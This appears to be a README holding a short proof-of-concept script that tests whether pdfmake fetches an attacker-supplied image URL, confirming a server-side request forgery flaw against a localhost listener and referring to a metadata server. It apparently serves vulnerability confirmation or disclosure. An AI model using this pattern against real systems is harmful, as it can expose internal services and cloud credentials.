README.md
Rendering markdown...
// Minimal test - just verify URLResolver fetches our URL
import pdfmake from 'pdfmake';
console.log('[TEST] Starting minimal SSRF test...');
console.log('[TEST] If you see a request on port 8888, SSRF is confirmed.\n');
const docDefinition = {
content: ['test'],
images: {
pwned: 'http://127.0.0.1:8888/SSRF-CONFIRMED'
}
};
try {
const pdf = pdfmake.createPdf(docDefinition);
console.log('[TEST] createPdf called, waiting for URL resolution...');
// Give it a moment to make the request
await new Promise(r => setTimeout(r, 2000));
} catch (e) {
console.log('[TEST] Error (expected):', e.message);
console.log('[TEST] Check if metadata server got the request anyway!');
}